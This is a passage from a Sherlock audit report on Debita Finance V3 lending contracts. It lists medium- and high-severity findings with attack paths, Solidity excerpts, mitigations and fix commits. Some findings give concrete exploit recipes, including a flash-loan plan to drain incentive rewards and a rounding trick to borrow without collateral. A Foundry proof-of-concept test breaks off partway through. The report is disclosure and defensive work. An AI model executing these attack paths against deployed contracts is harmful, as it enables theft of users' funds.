- token1 = 0x3Fd3A0c85B70754eFc07aC9Ac0cbBDCe664865A6 = EQUAL

In this case, the price returned from the pool will be computed by EQUAL divided by WFTM. So, the price of EQUAL per WFTM is provided by the pool.

```
Equalizer Pool's getPriceCumulativeCurrent = reserve1/reserve0 = token1/token0 =
↪  EQUAL/WFTM
```

When configuring the `MixOracle` to support EQUAL token, the `setAttachedTarotPriceOracle` will be executed, and the pool address (0x3d6c56f6855b7Cc746fb80848755B0a9c3770122) will be passing in via the `uniswapV2Pair` parameter. In this case, the `MixOracle` will return the price of the EQUAL (token1) token when the `MixOracle.getThePrice(EQUAL)` function is executed within another part of the protocol.

```
AttachedPricedToken[token1] = token0;
AttachedPricedToken[EQUAL] = WFTM;
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/oracles/MixOracle/MixOracle.sol#L72

```
File: MixOracle.sol
72:     function setAttachedTarotPriceOracle(address uniswapV2Pair) public {
73:         require(multisig == msg.sender, "Only multisig can set price feeds");
74:
75:         require(
76:             AttachedUniswapPair[uniswapV2Pair] == address(0),
77:             "Uniswap pair already set"
78:         );
```

```
79:
80:         address token0 = IUniswapV2Pair(uniswapV2Pair).token0();
81:         address token1 = IUniswapV2Pair(uniswapV2Pair).token1();
82:         require(
83:             AttachedTarotOracle[token1] == address(0),
84:             "Price feed already set"
85:         );
86:         DebitaProxyContract tarotOracle = new DebitaProxyContract(
87:             tarotOracleImplementation
88:         );
89:         ITarotOracle oracle = ITarotOracle(address(tarotOracle));
90:         oracle.initialize(uniswapV2Pair);
91:         AttachedUniswapPair[token1] = uniswapV2Pair;
92:         AttachedTarotOracle[token1] = address(tarotOracle);
93:         AttachedPricedToken[token1] = token0;
94:         isFeedAvailable[uniswapV2Pair] = true;
95:     }
```

The issue is that the `MixOracle` relies on the position of token0 and token1 in the pool that cannot be controlled. Within the pool (Equalizer or Uniswap Pool), the position of token0 and token1 is pre-determined and sorted by the token's address (smaller address will always be token0)

However, the position of the token in the `setAttachedTarotPriceOracle` function is hardcoded. For instance, the keys of the `AttachedUniswapPair`, `AttachedTarotOracle`, `AttachedPricedToken` mapping are all hardcoded to `token1`.

Assume that the protocol wants to create another `MixOracle` to support another token called Token_X that does not have any oracle on Fantom. However, this token to be supported is located in the position of `token0` instead of `token1` in the pool. Thus, because the `MixOracle` is hardcoded to always use only `token1`, there is no way to support this Token_X even though a high liquidity pool that consists of Token_X exists on Fantom.

The `MixOracle` is supposed to work in this scenario, but due to hardcoded position, it cannot supported. Thus, the `MixOracle` is broken in this scenario.

Impact

Medium. Breaks core contract functionality. Oracle is a core feature in a protocol.

PoC

No response

Mitigation

Consider not hardcoding the position (`token1`) as the key of the mapping used within `MixOracle`. Instead, allow the deployer to specify which token (`token0` or `token1`) the `MixOracle` is supposed to support.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/83b5cf41c6100a4b31be2779bb66e7c41ea957a6

Issue M-16: Users can be griefed due to lack of minimum size within the Loan and Offer

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/557

Found by

xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Assume that Bob creates a borrow offer with 10000 AERO as collateral to borrow 10000 USDC at the price/ratio of 1 AERO:1 USDC for simplicity's sake.

Malicious aggregator (aggregator is a public role and anyone can match orders) can perform griefing attacks against Bob.

The malicious aggregator can create many individual loans OR many loans with many offers within it, OR a combination of both. Each loan and offer will be small or tiny and consist of Bob's borrow order. This can be done because the protocol does not enforce any restriction on the minimum size of the loan or offer.

As a result, Bob's borrow offer could be broken down into countless (e.g., thousands or millions) of loans and offers. As a result, Bob will not be able to keep track of all the loans and offers belonging to him and will have issues paying the debt or claiming collateral.

This issue is also relevant to the lenders, and the impact is even more serious as lenders have to perform more actions against loans and offers, such as claiming debt, claiming interest, claiming collateral, or auctioning off defaulted collateral etc.

In addition, it also requires lenders and borrowers to pay a significant amount of gas fees in order to carry out the actions mentioned previously.

As a result, this effectively allows malicious aggregators to grief lenders and borrowers.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L167

Impact

Malicious aggregators to grief lenders and borrowers.

PoC

No response

Mitigation

Having a maximum number of offers (e.g., 100) within a single Loan is insufficient to guard against this attack because malicious aggregators can simply work around this restriction by creating more loans.

Thus, it is recommended to impose the minimum size for each loan and/or offer, so that malicious aggregators cannot create many small/tiny loans and offers to grief the users.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c7567f5dbd9d8e224e6e3a684cc396a3829775e1

Issue M-17: Borrower can obtain principle tokens without paying collateral tokens

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/558

Found by

xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Assume that the ratio/price is 1e18 (1 XYZ per ABC => Principle per Collateral). XYZ is 18 decimals while ABC is 6 decimals.

Assume that Bob (malicious borrower) calls the permissionless `DebitaV3Aggregator.matchOffersV3` function. The amount of collateral deducted from Bob's borrow offer is calculated via the following:

```
userUsedCollateral = (lendAmountPerOrder[i] * (10 ** decimalsCollateral)) / ratio;
userUsedCollateral = (lendAmountPerOrder[i] * 1e6) / 1e18;
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L467

```
File: DebitaV3Aggregator.sol
274:     function matchOffersV3(
```

```
..SNIP..
466:             // calculate the amount of collateral used by the lender
467:             uint userUsedCollateral = (lendAmountPerOrder[i] *
468:                 (10 ** decimalsCollateral)) / ratio;
```

For `lendAmountPerOrder`, he uses a value that is small enough to trigger a rounding to zero error. The range of `lendAmountPerOrder` that will cause `userUsedCollateral` to round down to zero is:

$0 \boxtimes \text{lendAmountPerOrder} < 10^{12}$

Thus, for each offer, Bob will specify the `lendAmountPerOrder[i]` to be `1e12 - 1`. Thus, for each offer, he will be able to obtain `1e12 - 1` XYZ tokens without paying a single ABC tokens as collateral.

This attack is profitable because each `matchOffersV3` transaction can execute up to 100 offers, and the protocol is intended to be deployed on L2 chains where gas fees are extremely cheap or even negligible.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L290

```
File: DebitaV3Aggregator.sol
274:     function matchOffersV3(
..SNIP..
289:         // check lendOrder length is less than 100
290:         require(lendOrders.length <= 100, "Too many lend orders");
```

Following is the extract from Contest's README showing that the protocol will be deployed to following L2 chains.

> Q: On what chains are the smart contracts going to be deployed?
> Sonic (Prev. Fantom), Base, Arbitrum & OP

Impact

High. Loss of assets.

PoC

No response

Mitigation

This issue can be easily mitigated by implementing the following changes to prevent the above attack.

```
// calculate the amount of collateral used by the lender
uint userUsedCollateral = (lendAmountPerOrder[i] * (10 ** decimalsCollateral)) /
 ↪  ratio;
+ require(userUsedCollateral > 0, "userUsedCollateral is zero")
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/a60b40e8b76b7d23cff1e7ef8310819ad251f0e3

Issue M-18: Incentive Creator's Tokens Permanently Locked in Zero-Activity Epochs

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/616

The protocol has acknowledged this issue.

Found by

0x37, BengalCatBalu, KaplanLabs, dimulski, h4rs0n, jo13, newspacexyz, t.aksoy, xiaoming90

Summary

The lack of token recovery mechanism in DebitaIncentives.sol will cause permanent loss of incentive tokens for incentive creators as tokens remain locked in the contract during epochs with zero lending/borrowing activity.

Root Cause

In DebitaIncentives.sol, the incentivizePair function transfers tokens to the contract without any recovery mechanism:

```
// transfer the tokens
IERC20(incentivizeToken).transferFrom(
    msg.sender,
    address(this),
    amount
);

// add the amount to the total amount of incentives
if (lendIncentivize[i]) {
    lentIncentivesPerTokenPerEpoch[principle][
        hashVariables(incentivizeToken, epoch)
    ] += amount;
} else {
    borrowedIncentivesPerTokenPerEpoch[principle][
        hashVariables(incentivizeToken, epoch)
    ] += amount;
}
```

This means that incentive creators can only deposit incentives for epochs that haven't started yet, and the incentives are locked in the contract until the epoch ends. Once tokens are transferred, they become permanently locked if no activity occurs in that

epoch. This is a serious design flaw since market conditions are unpredictable and zero-activity epochs are likely to occur.

Internal pre-conditions

1. Incentive creator needs to call `incentivizePair()` to deposit incentive tokens for a future epoch
2. `totalUsedTokenPerEpoch[principle][epoch]` needs to be exactly 0
3. No users perform any lending or borrowing actions during the specified epoch

External pre-conditions

1. Market conditions lead to zero lending/borrowing activity during the incentivized epoch

Attack Path

1. Incentive creator calls `incentivizePair()` to set up incentives for a future epoch, transferring tokens to the contract
2. The epoch passes with no lending or borrowing activity
3. No users can claim the incentives as there are no qualifying actions (`lentAmountPerUserPerEpoch` and `borrowAmountPerEpoch` remain 0)
4. The tokens remain permanently locked in the contract as there is no withdrawal or recovery mechanism

Impact

The incentive creators suffer a complete loss of their deposited tokens for that epoch. The tokens become permanently locked in the contract with no mechanism for recovery or redistribution to future epochs. This could lead to significant financial losses.

PoC

No response

Mitigation

Add a recovery mechanism that allows incentive creators to withdraw unclaimed tokens after an epoch ends. This should only be possible if the epoch had zero activity.

Issue M-19: An attacker can steal the entire borrow and lending incentive of an epoch with FLASHLOAN in a single transaction

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/708

Found by

BengalCatBalu, CL001, Feder, KaplanLabs, KlosMitSoss, Pablo, bbl4de, dimulski, lanrebayode77, mike-watson, pashap9990, tjonair, xiaoming90

Summary

An attacker, with the aid of flash-loan can steal the entire borrow and lending incentives.

This involves the attacker creating a huge lend offer with funds from flash-loan, creating a borrow offer with dust amount as collateral, self-matching the offer, paying back the loan in the same block(with zero interest) and having extra principle to payback flash-loan fees, then claim the entire incentive after the epoch has ended.

Root Cause

1. Same address can be the borrower, lender and connector, there is no check against this.
2. `DebitaV3Loan.payDebt()` allows repayment of loan in the same block it was taken. (Allows the use of flash-loan to access huge funds!)
3. Lender can set ratio high enough to allow borrower take huge loan with dust collateral(1wei).(this reduced flash-loan needed as 1wei can be used as collateral to get unlimited principle amount reduce fees(flash-loan) and make attack more feasible/profitable).

Internal pre-conditions

Incentive is huge enough to cover attack expenses(flash-loan fees, loan disbursement fee and off-cus gasFee!)

External pre-conditions

1. Attacker has extra principle to cover flash-loan fees(0.05% in Aave V3)
2. Attack capital becomes lower when the borrow/lend inn the current epoch is low

Attack Path

1. Attacker takes in account the amount of incentives and total borrow/lent of the current epoch to determine profitability and also to know if there is capital(flash-loan fee).
2. Attacker takes flash-loan, in the flash loan call-back,
3. A block to the end of an epoch, creates a lend offer with HUGE ratio!(100e24 for instance) allowing borrowing huge amount with 1wei, no check/limit for this
4. creates a borrow offer using 1wei as collateral
5. calls `matchOfferV3()`, matching the offers, min fee of 0.2% is deducted in which 15% of it goes back to attacker, so only 0.17% net paid as fees
6. pays back by calling `payDebt()`, offcus no fee on interest since Apr is set to zero
7. pays back flash-loan and fees
8. epoch ends, and attacker claims almost all incentives(borrow + lend) in the next block(after the end of the epoch), since lent and borrow will be almost 100%, thanks to FLASH-LOAN!

Impact

Attacker steals larger share of incentives

PoC

Repayment is possible in the same block! the only tiime check is for deadline

```
// check next deadline
require(
    nextDeadline() >= block.timestamp,
    "Deadline passed to pay Debt"
);
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L186-L257

```
} else {
                maxRatio = lendInfo.maxRatio[collateralIndex]; //@audit attacker set
 ↪  this to be large to allow the use of dust collateral
```

```
            }
            // calculate ratio based on porcentage of the lend order
            uint ratio = (maxRatio * porcentageOfRatioPerLendOrder[i]) / 10000;
            uint m_amountCollateralPerPrinciple = amountCollateralPerPrinciple[
                principleIndex
            ];
            // calculate the amount of collateral used by the lender
            uint userUsedCollateral = (lendAmountPerOrder[i] *
                (10 ** decimalsCollateral)) / ratio; //@audit collateral required for
↪  large loan becomes dust!
```

```
// check ratio for each principle and check if the ratios are within the limits of
↪  the borrower
    for (uint i = 0; i < principles.length; i++) {
        require(
            weightedAverageRatio[i] >= //@audit attacker set both, so this aligns!
                ((ratiosForBorrower[i] * 9800) / 10000) &&
                weightedAverageRatio[i] <=
                (ratiosForBorrower[i] * 10200) / 10000,
            "Invalid ratio"
        );
```

```
// check if the apr is within the limits of the borrower
           require(weightedAverageAPR[i] <= borrowInfo.maxApr, "Invalid APR");
↪  //@audit Apr is set to zero, so no fee on interest!
```

Mitigation

1. Prevent repayment in the same block
2. It might be helpful to prevent lender == borrower == connector

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/bc889a3d624b8376c9be43f5421a78448bdaca20

Issue M-20: Loan Extension Fails Due to Unused Time Calculation

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/766

Found by

0x37, 0xPhantom2, 0xmujahid002, Audinarey, BengalCatBalu, Falendar, Honour, dany.armstrong90, dimulski, jsmi, mladenov, moray5554, newspacexyz, nikhil840096, nikhilx0111, yovchev_yoan, zkillua

Summary

The `extendLoan` function in `DebitaV3Loan::extendLoan` has redundant time calculation logic that causes transaction reversions when borrowers attempt to extend loans near their deadline.

Root Cause

In the `DebitaV3Loan` contract the function `extendLoan` function has a varaible `extendedTime` that is not used and can cause reverts in some cases which cause some borrowers to not be able to extend their loan.

The exact line of code:

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L590

Internal pre-conditions

1. Loan must not be already extended `(extended == false)`
2. Borrower must have waited minimum duration `(10% of initial duration)`
3. Loan must not be expired `(nextDeadline() > block.timestamp)`
4. Must have at least one unpaid offer

External pre-conditions

1. Current time must be close to offer's `maxDeadline`
2. `maxDeadline - (block.timestamp - startedAt) - block.timestamp` < 0

Attack Path

1. Loan starts at timestamp `1704067200` (January 1, 2024)
2. Time advances to `1705190400` (January 14, 2024)
3. Borrower attempts to extend loan
4. For an offer with maxDeadline `1705276800` (January 15, 2024)
5. Transaction reverts due to arithmetic underflow

Impact

Borrowers cannot extend loans near their deadlines even when they satisfy all other requirements:

1. Forces unnecessary defaults near deadline
2. Wastes gas on failed extension attempts
3. Disrupts normal loan management operationsthe

PoC

This PoC demonstrates the reversion caused by unused time calculations in `extendLoan` function.

```
contract BugPocTime {

    uint256 loanStartedAt = 1704067200; // 1 January 00:00 time
    uint256 currentTime = 1705190400; // 14 January 00:00 time
    uint256 maxDeadline = 1705276800; // 15 January 00:00 time

    function extendLoan() public view returns(uint256){
        uint256 alreadyUsedTime = currentTime - loanStartedAt;
        uint256 extendedTime = maxDeadline - alreadyUsedTime - currentTime;

        return 10;
    }
}
```

The example uses the following timestamps:

1. loanStartedAt: 1704067200 (Jan 1, 2024 00:00)
2. currentTime: 1705190400 (Jan 14, 2024 00:00)
3. maxDeadline: 1705276800 (Jan 15, 2024 00:00)

The calculation flow:

1. alreadyUsedTime = 1705190400 - 1704067200 = 1,123,200 (≈13 days)
2. extendedTime = 1705276800 - 1,123,200 - 1705190400 = 1705276800 - 1706313600 = -1,036,800 (reverts due to underflow)

Mitigation

Remove the unused `extendedTime` calculation as it serves no purpose and can cause legitimate loan extensions to fail.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/dd1ad26725ba4835bc6406acf1289c1fbd33f8f2

Issue M-21: DebitaIncentives::updateFunds will exit prematurely and not update whitelisted pairs causing loss of funds to lenders and borrowers

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/870

Found by

0x37, 0xe4669da, 0xloscar01, BengalCatBalu, DenTonylifer, ExtraCaterpillar, Honour, Pro_King, Ryonen, bbl4de, dimulski, jjk, jsmi, liquidbuddha, merlin, newspacexyz, robertodf, t.aksoy, tmotfl

Summary

The `DebitaIncentives::updateFunds` function iterates over the `lenders` array, verifying whether the principle and collateral pair for each lend offer is whitelisted. If a non-whitelisted pair is encountered, the function exits prematurely, causing it to skip the processing of all subsequent pairs, even if they are valid and whitelisted.

This causes the loss of potential funds for lenders and borrowers, as they would have been eligible to claim incentives had the function processed all valid pairs. Specifically, the `lentAmountPerUserPerEpoch`, `totalUsedTokenPerEpoch`, and `borrowAmountPerEpoch` mappings are not updated.

Root Cause

In DebitaIncentives.sol#L317 the `return` keyword is used, stopping the entire function, not just the iteration, ignoring the subsequent elements in the `informationOffers` array.

Internal pre-conditions

- At least one lend offer be active with the following conditions (non-whitelisted pair lend offer):
  - `principle` and `acceptedCollaterals` pair is not whitelisted in the `DebitaIncentives` contract.
  - `lonelyLender` must be false.
  - `availableAmount` is greater than `0`.

- At least one lend offer be active with the following conditions (whitelisted pair lend offer):
  - `principle` and `acceptedCollaterals` pair is whitelisted in the `DebitaIncentives` contract.
  - `lonelyLender` must be false.
  - `availableAmount` is greater than `0`.
- At least one borrow order must be active with the following conditions:
  - `acceptedPrinciples` must include at least a whitelisted principle and at least a non-whitelisted principle.
  - `collateral` when paired with the principle, it must be whitelisted.
  - `availableAmount` is greater than `0`.
- The terms of the borrow order must allow it to be successfully matched with both types of lend offers in a single `DebitaV3Aggregator::matchOffersV3` call.
- `DebitaV3Aggregator` must not be paused.

External pre-conditions

No response

Attack Path

1. `DebitaIncentives` contract owner whitelists pair of principle and collateral calling `DebitaIncentives::whitelListCollateral`
2. A user calls `DebitaIncentives::incentivizePair` to incentivize the already whitelisted principle. This function transfers the tokens given as incentives from the user to the `DebitaIncentives` contract. The amount of incentives is updated:

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L277-L285

```
if (lendIncentivize[i]) {
    lentIncentivesPerTokenPerEpoch[principle][
        hashVariables(incentivizeToken, epoch)
    ] += amount;
} else {
    borrowedIncentivesPerTokenPerEpoch[principle][
        hashVariables(incentivizeToken, epoch)
    ] += amount;
}
```

3. Another user calls `DebitaV3Aggregator::matchOffersV3` to match a previously created borrow order with one lend offer that has a non-whitelisted pair and another lend offer that has a whitelisted pair. Inside `matchOffersV3`, the `DebitaIncentives::updateFunds` function is called to update the funds of the lenders and borrowers. `offers` array contains the principle of each accepted lend offer, and it is passed as an argument.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L631-L636

```
        DebitaIncentives(s_Incentives).updateFunds(
@>            offers,
            borrowInfo.collateral,
            lenders,
            borrowInfo.owner
        );
```

`updateFunds` function iterates over the array, and checks if the principle and collateral pair is whitelisted. If the pair is not whitelisted, the `return` keyword halts the entire function. The offer containing the non-whitelisted principle is at index `0`, so the function stops before the iteration reaches the offer at index `1` that has the whitelisted principle. This stops `lentAmountPerUserPerEpoch`, `totalUsedTokenPerEpoch` and `borrowAmountPerEpoch` from being updated.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L306-L341

```
    function updateFunds(
        infoOfOffers[] memory informationOffers,
        address collateral,
        address[] memory lenders,
        address borrower
    ) public onlyAggregator {
        for (uint i = 0; i < lenders.length; i++) {
            bool validPair = isPairWhitelisted[informationOffers[i].principle][
                collateral
            ];
            if (!validPair) {
@>              return;
            }
            address principle = informationOffers[i].principle;

            uint _currentEpoch = currentEpoch();

            lentAmountPerUserPerEpoch[lenders[i]][
                hashVariables(principle, _currentEpoch)
            ] += informationOffers[i].principleAmount;
```

```
            totalUsedTokenPerEpoch[principle][
                _currentEpoch
            ] += informationOffers[i].principleAmount;
            borrowAmountPerEpoch[borrower][
                hashVariables(principle, _currentEpoch)
            ] += informationOffers[i].principleAmount;

            emit UpdatedFunds(
                lenders[i],
                principle,
                collateral,
                borrower,
                _currentEpoch
            );
        }
    }
```

As the mappings are not updated, the beneficiary lender or borrower can't claim the incentives:

DebitaIncentives::claimIncentives#L152-L154

```
uint lentAmount = lentAmountPerUserPerEpoch[msg.sender][
    hashVariables(principle, epoch)
];
```

DebitaIncentives::claimIncentives#L164-L166

```
uint borrowAmount = borrowAmountPerEpoch[msg.sender][
    hashVariables(principle, epoch)
];
```

DebitaIncentives::claimIncentives#L170-L173

```
require(
    borrowAmount > 0 || lentAmount > 0,
    "No borrowed or lent amount"
);
```

Impact

Permanent loss of funds for lenders and borrowers who would have been eligible to claim incentives for a given epoch.

PoC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DynamicData} from "../interfaces/getDynamicData.sol";

contract UpdateFundsTest is Test {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DebitaV3Loan public DebitaV3LoanContract;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    ERC20Mock public wETHContract;
    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    DynamicData public allDynamicData;

    address USDC;
    address wETH;
    address AERO;

    address borrower = address(0x2);
    address lender1 = address(0x3);
    address lender2 = address(0x4);

    address feeAddress = address(this);

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
```

```
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        USDCContract = new ERC20Mock();
        wETHContract = new ERC20Mock();
        AEROContract = new ERC20Mock();

        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        USDC = address(USDCContract);
        wETH = address(wETHContract);
        AERO = address(AEROContract);

        wETHContract.mint(lender1, 5 ether);
        AEROContract.mint(lender2, 5 ether);
        USDCContract.mint(borrower, 10 ether);
        USDCContract.mint(address(this), 100 ether);

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
    }

    // Given the condition in the DebitaIncentives::updateFunds function:
```

```
    // function updateFunds(
    //     infoOfOffers[] memory informationOffers,
    //     address collateral,
    //     address[] memory lenders,
    //     address borrower
    // ) public onlyAggregator {
    //     for (uint i = 0; i < lenders.length; i++) {
    //         bool validPair = isPairWhitelisted[informationOffers[i].principle][
    //             collateral
    //         ];
    //         if (!validPair) {
    //             return; // <------ Stops the entire function, not just the
↪  iteration
    //         }

    // This test demonstrates that the DebitaIncentives::updateFunds function
    // terminates prematurely when processing the `informationOffers` array
    // if any element contains a non-whitelisted pair of principle and collateral.
    // As a result, all subsequent elements in the array are ignored, even if they
    // are valid and whitelisted.

    // Example scenario with an array of 4 elements:
    // - Index 0: Whitelisted pair
    // - Index 1: Non-whitelisted pair
    // - Index 2: Whitelisted pair
    // - Index 3: Whitelisted pair
    // The function processes the first element, but terminates upon encountering
    // the non-whitelisted pair at index 1, skipping the valid pairs at indexes 2
↪  and 3.

    // In the test, the following scenario is replicated:
    // - Index 0: Non-whitelisted pair
    // - Index 1: Whitelisted pair
    // Because the first element (Index 0) contains a non-whitelisted pair,
    // the function terminates and skips the valid whitelisted pair at Index 1.

    // Steps:
    // 1. Whitelist a pair of principle and collateral. (AERO, USDC)
    // 2. Incentivize the whitelisted pair.
    // 3. Create two lending offers:
    //    - One with a non-whitelisted pair. (wETH, USDC)
    //    - One with the whitelisted pair. (AERO, USDC)
    // 4. Create a borrow order in which the accepted principles are wETH and AERO
↪  and the collateral is USDC.
    // 5. Call `matchOffersV3` to match the borrow order with the lending offers.
    // 6. Observe that no updates occur in the DebitaIncentives contract because
↪  the function exits prematurely upon encountering the non-whitelisted pair.

    // This behavior highlights an issue: valid pairs that occur after a
↪  non-whitelisted pair
```

```
// in the array are not processed due to the premature return.
function testUpdateFunds() public {
    bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(2);
    uint[] memory ltvs = allDynamicData.getDynamicUintArray(2);
    uint[] memory ratio = allDynamicData.getDynamicUintArray(2);
    uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
    uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
    bool[] memory oraclesActivatedLenders = allDynamicData
        .getDynamicBoolArray(1);
    address[] memory acceptedPrinciples = allDynamicData
        .getDynamicAddressArray(2);
    address[] memory acceptedCollaterals = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory oraclesCollateral = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory oraclesPrinciples = allDynamicData
        .getDynamicAddressArray(2);
    address[] memory incentivizedPrinciples = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory incentiveTokens = allDynamicData
        .getDynamicAddressArray(1);
    bool[] memory lendIncentivize = allDynamicData.getDynamicBoolArray(1);
    uint[] memory incentiveAmounts = allDynamicData.getDynamicUintArray(1);
    uint[] memory incentiveEpochs = allDynamicData.getDynamicUintArray(1);

    ratioLenders[0] = 1e18;
    ratio[0] = 1e18;
    ratio[1] = 1e18;
    acceptedPrinciples[0] = wETH;
    acceptedPrinciples[1] = AERO;
    acceptedCollaterals[0] = USDC;
    oraclesActivated[0] = false;
    oraclesActivated[1] = false;
    incentivizedPrinciples[0] = AERO;
    incentiveTokens[0] = USDC;
    lendIncentivize[0] = true;
    incentiveAmounts[0] = 100 ether;
    incentiveEpochs[0] = 2;

    // 1. Whitelist a pair of principle and collateral (AERO, USDC)
    incentivesContract.whitelListCollateral({
        _principle: AERO,
        _collateral: USDC,
        whitelist: true
    });

    // Check if pair is whitelisted
    assertEq(
        incentivesContract.isPairWhitelisted(AERO, USDC),
        true,
```

```
        "Pair should be whitelisted"
    );

    // Check that wETH USDC pair is not whitelisted
    assertEq(
        incentivesContract.isPairWhitelisted(wETH, USDC),
        false,
        "Pair should not be whitelisted"
    );

    // 2. Incentivize the whitelisted pair
    USDCContract.approve(address(incentivesContract), 100 ether);
    incentivesContract.incentivizePair({
        principles: incentivizedPrinciples,
        incentiveToken: incentiveTokens,
        lendIncentivize: lendIncentivize,
        amounts: incentiveAmounts,
        epochs: incentiveEpochs
    });

    // Check state changes
    {
        assertEq(incentivesContract.principlesIncentivizedPerEpoch(2), 1);
        assertEq(incentivesContract.hasBeenIndexed(2, AERO), true);
        assertEq(incentivesContract.epochIndexToPrinciple(2, 0), AERO);
        assertEq(incentivesContract.hasBeenIndexedBribe(2, USDC), true);

        //keccak256(principle address, index)
        bytes32 hash = incentivesContract.hashVariables(AERO, 0);

        assertEq(
            incentivesContract.SpecificBribePerPrincipleOnEpoch(2, hash),
            USDC
        );

        //keccack256(bribe token, epoch)
        bytes32 hashLend2 = incentivesContract.hashVariables(USDC, 2);

        assertEq(
            incentivesContract.lentIncentivesPerTokenPerEpoch(
                AERO,
                hashLend2
            ),
            100 ether
        );

        assertEq(
            USDCContract.balanceOf(address(incentivesContract)),
            100 ether
        );
```

```
        }

        // 3. Create a lend offer with non-whitelisted pair (wETH, USDC)
        vm.startPrank(lender1);
        wETHContract.approve(address(DLOFactoryContract), 5e18);
        address lendOffer1 = DLOFactoryContract.createLendOrder({
            _perpetual: false,
            _oraclesActivated: oraclesActivatedLenders,
            _lonelyLender: false,
            _LTVs: ltvsLenders,
            _apr: 1000,
            _maxDuration: 8640000,
            _minDuration: 86400,
            _acceptedCollaterals: acceptedCollaterals,
            _principle: wETH,
            _oracles_Collateral: oraclesCollateral,
            _ratio: ratioLenders,
            _oracleID_Principle: address(0x0),
            _startedLendingAmount: 5e18
        });

        // Create a lend offer with whitelisted pair (AERO, USDC)
        vm.startPrank(lender2);
        AEROContract.approve(address(DLOFactoryContract), 5e18);
        address lendOffer2 = DLOFactoryContract.createLendOrder({
            _perpetual: false,
            _oraclesActivated: oraclesActivatedLenders,
            _lonelyLender: false,
            _LTVs: ltvsLenders,
            _apr: 1000,
            _maxDuration: 8640000,
            _minDuration: 86400,
            _acceptedCollaterals: acceptedCollaterals,
            _principle: AERO,
            _oracles_Collateral: oraclesCollateral,
            _ratio: ratioLenders,
            _oracleID_Principle: address(0x0),
            _startedLendingAmount: 5e18
        });

